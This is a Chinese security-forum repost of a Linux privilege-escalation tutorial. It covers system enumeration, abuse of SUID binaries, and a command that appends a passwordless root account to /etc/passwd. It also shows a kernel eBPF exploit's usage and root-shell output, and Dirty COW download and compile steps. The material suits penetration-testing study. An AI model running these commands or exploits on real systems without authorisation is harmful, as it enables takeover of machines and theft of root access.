安全矩阵

 找回密码
 立即注册
搜索
查看: 3712|回复: 0

Linux提权姿势

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-8-28 21:52:29 | 显示全部楼层 |阅读模式
原文链接:Linux提权姿势


1、声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


2、信息收集
1.内核,操作系统和设备信息
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
2.用户和群组
cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
grep -v -E "^# " /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完
3.用户和权限信息:
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
4.环境信息
env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell

3、SUID


SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就需要获得root用户的身份了。
目前可用来提权delinux可行性文件列表
nmap
vim
find
bash
more
less
nano
cp
以下是查找SUID可执行性文件命令
find / -perm -u=s -type f 2>/dev/null

/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
尖括号表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
除此之外还有如下命令,不同系统适用于不同命令
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} ;
复现:
假如我们拿到了一个网站服务器权限的shell


查看具有root权限的SUID文件

创建一个文件,该文件用于测试find命令是否可以以root权限运行

使用find命令查看是否可以以root权限运行

大部分linux操作系统都安装了netcat,因此可以使用netcat将权限提升至root

等反弹回来后会直接获取一个root权限

如果目标中装有python可以是使用python反弹shell方式同理。


4、利用root无密码执行
简单来说,就是一个脚本,比如py,sh等或者是一个命令。这个文件可以以root身份运行,若在无密码的情况下执行的话,我们可以通过修改脚本内容/或者直接执行这个命令,利用命令来进行一些操作,来进行提权。
比如常见的:
写入一个root身份权限的用户进入/etc/passwd 文件中
复现:
查看当前用户权限


发现teehee命令sudo不需要密码

查看teehee命令的帮助文档

写入了一个账号ceshi到passwd里:
echo "ceshi::0:0:::/bin/bash" | sudo teehee -a /etc/passwd


5、【用户名】:【密码】:[UID]:[GID]:[身体描述]:【主目录】:【登录shell】



成功获取到root 权限。


6、利用内核漏洞提权


如果linux脏牛提权无法成功时,我们需要查看其他版本的内核漏洞。这时我们就用到了kali linux,自身所拥有的searchspolit可以帮助我们查看各种linux发行版本的漏洞。
复现:
假设一开始获得的是普通用户的权限,拿到shell之后查看内核版本发现系统是16年的 Ubuntu:
cat /etc/issue;uname -a


使用searchsploit搜索有关于这个版本的漏洞发现了一个提权漏洞:

使用脚本提权
查看一下脚本的内容,要求我们去下载一个tar包用来提权,用法如下:

  1. An exploit that puts all this together is in exploit.tar. Usage:

  2. user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
  3. user@host:~/ebpf_mapfd_doubleput$ ./doubleput
  4. starting writev
  5. woohoo, got pointer reuse
  6. writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
  7. suid file detected, launching rootshell...
  8. we have root privs now...
  9. root@host:~/ebpf_mapfd_doubleput# id
  10. uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)

  11. This exploit was tested on a Ubuntu 16.04 Desktop system.
  12. Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7

  13. Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
  14. Exploit-DB Mirror: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
复制代码


随后靶机用 wget 把我们的 exp 下载到靶机上并解压运行:

7、脏牛提权


漏洞范围:
大于2.6.22版本 (2007年发行,到2016年10月18日修复)
危害:
低权限的用户可利用这一漏洞在本地进行提权
原理:
linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。
竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。
EXP下载
https://github.com/FireFart/dirtycow
复现:
假设一开始获得的是普通用户wwwuser的权限。


使用uname -a命令查看linux内核信息,发现在脏牛漏洞范围内,可以进行测试。


将exp一下载到本地,使用gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译,生成一个dirty的可执行文件。

执行./dirty 密码命令,即可进行提权。

此时使用上图中的账号密码即可获取root权限。









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 05:36 , Processed in 0.013197 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表